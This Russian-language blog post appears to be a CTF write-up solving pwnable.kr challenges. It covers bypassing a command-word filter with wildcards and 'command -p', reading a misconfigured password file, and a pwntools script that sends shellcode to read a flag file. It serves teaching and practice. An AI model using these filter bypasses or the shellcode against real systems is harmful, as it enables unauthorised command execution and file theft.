![image](https://habrastorage.org/webt/al/py/ef/alpyefagnx81cc2xc1ncjqs8lus.png)
В данной статье посмотрим как обойти легкий фильтр, разберемся как написать shell c помощью pwntools, а также решим несколько заданий с сайта pwnable.kr.
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Решение задания cmd1
Нажимаем на иконку с подписью cmd1, и нам говорят, что нужно подключиться по SSH с паролем guest.
![image](https://habrastorage.org/webt/tu/gv/me/tugvmexgvmtnmzupjc_h8klwkdq.png)
При подключении мы видим соответствующий баннер.
![image](https://habrastorage.org/webt/fi/kb/a3/fikba3jbl1c9uzcxk8mhslj6uc0.png)
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
![image](https://habrastorage.org/webt/eq/om/tr/eqomtrq8hoba-ifoghtncv9pcxi.png)
Давай просмотрим исходный код.
![image](https://habrastorage.org/webt/em/ah/1a/emah1ayzjaauh2ets8gojlrlnos.png)
Все очень просто: мы передаем программе команду и она исполняет её в командной строке, но сперва фильтрует слова flag, sh, tmр. Фильтрует flag, но не fla*.
![image](https://habrastorage.org/webt/9j/ij/g5/9jijg58zj6f_s1atdy-6ubftbmo.png)
Сдаем флаг и получаем еще одно очко.
Решение задания cmd2
Нажимаем на иконку с подписью cmd2, и нам говорят, что нужно подключиться по SSH с паролем задания cmd1.
![image](https://habrastorage.org/webt/gf/t_/gp/gft_gpnwn8qv5klamdsozbv_rzs.png)
При подключении мы видим соответствующий баннер.
![image](https://habrastorage.org/webt/kd/ab/ds/kdabdse5qdxwjail0vmdwqceo5a.png)
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
![image](https://habrastorage.org/webt/zj/cc/63/zjcc63pmnnfbnoz6wygavgxhwxi.png)
Давай просмотрим исходный код.
![image](https://habrastorage.org/webt/_p/dh/ek/_pdhek9e_luejcojnxtlyyvlrho.png)
Похоже на cmd1, но более сложный фильтр. Опять фильтрует flag, но не фильтрует fla*. Все осложнено фильтрацией слеша, но мы можем выполнить /bin/cat, как command -р cat.
![image](https://habrastorage.org/webt/xt/yg/tt/xtygttnufbouoleexfcnnjdmmde.png)
Сдаем флаг и получаем очки.
Решение задания blukat
Нажимаем на иконку с подписью blukat, и нам говорят, что нужно подключиться по SSH с паролем guest.
![image](https://habrastorage.org/webt/am/0e/vo/am0evoullonpkikqnkwxezmqzq8.png)
При подключении мы видим соответствующий баннер.
![image](https://habrastorage.org/webt/a4/v0/td/a4v0tdtshf_s3z01b0p7lkhggvw.png)
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
![image](https://habrastorage.org/webt/qk/mm/7s/qkmm7szrfccqtdhnyx5eb3soonq.png)
Давай просмотрим исходный код.
![image](https://habrastorage.org/webt/hv/un/le/hvunlegvl42pxs_7tix-0cglsgw.png)
Так, тут открывается файл с паролем, ксорится с ключем и выводит флаг. Вот только файл с паролем если прочитать файл с паролем, он выводит нам текст ошибки. На самом деле ошибка и есть пароль… Так как файл доступен для чтения группе, а мы состоим в данной группе.
![image](https://habrastorage.org/webt/if/bj/2_/ifbj2_blrsr33ttcjyxptao72ni.png)
![image](https://habrastorage.org/webt/r-/rf/3k/r-rf3k-zwfmwxnyu73cz1edob7k.png)
Сдаем флаг и получаем три очка.
Решение задания asm
Нажимаем на иконку с подписью asm, и нам говорят, что нужно подключиться по SSH с паролем guest.
![image](https://habrastorage.org/webt/ii/3c/uc/ii3cucqr3n2miiavye8fn_nhjbu.png)
При подключении мы видим соответствующий баннер.
![image](https://habrastorage.org/webt/vh/a5/zx/vha5zx0evigfpwbhbbhcoa86zxs.png)
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
![image](https://habrastorage.org/webt/0y/xe/9c/0yxe9clbzsfkmmvxgicas4j2jwq.png)
Нам оставили readme, прочитаем его.
![image](https://habrastorage.org/webt/7z/h2/px/7zh2px4v9uy_nc2xic5irsapdrm.png)
Таким образом мы должны отправить шеллкод, который прочитает файл с флагом, на порт 9026.
![image](https://habrastorage.org/webt/9r/ui/_-/9rui_-sln_ygf5b38z1zvatybn0.png)
Отлично. Испольуем рwntools, определяем параметры для подключения и архитектуру.
from pwn import *
r = remote('pwnable.kr', 9026)
context.arch = 'amd64'
r.interactive()
Для составления шелла будем испольовать модуль shellcraft. Как будет работать шеллкод:
- Помещаем в стек строку — имя файла.
- Открываем файл, с именем с вершины стека (регистр rsp).
- Так как функция open вернет дескриптор открытого файла в регистре rax — первый параметр для чтения, будем читать в стек 64 байта, потому вторым параметром будет регистр rsp.
- Теперь пишем в стандартный вывод (дескриптор 1) флаг, который лежит на вершине стека (регистр rsp).
- Собираем наш шелл и отправляем.
from pwn import *
r = remote('pwnable.kr', 9026)
context.arch = 'amd64'
payload = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
payload += shellcraft.open('rsp', 0, 0)
payload += shellcraft.read('rax', 'rsp', 64)
payload += shellcraft.write(1,'rsp', 64)
shell = asm(payload)
r.send(shell)
r.interactive()
![image](https://habrastorage.org/webt/kx/nj/kv/kxnjkvzyajdfyoyoqi5czvtpihq.png)
Сдаем флаг и получаем 6 очков. До встречи в следующей статье, где рассмотрим сложную уязвимость Use After Free.
Мы в телеграм канале: канал в Telegram.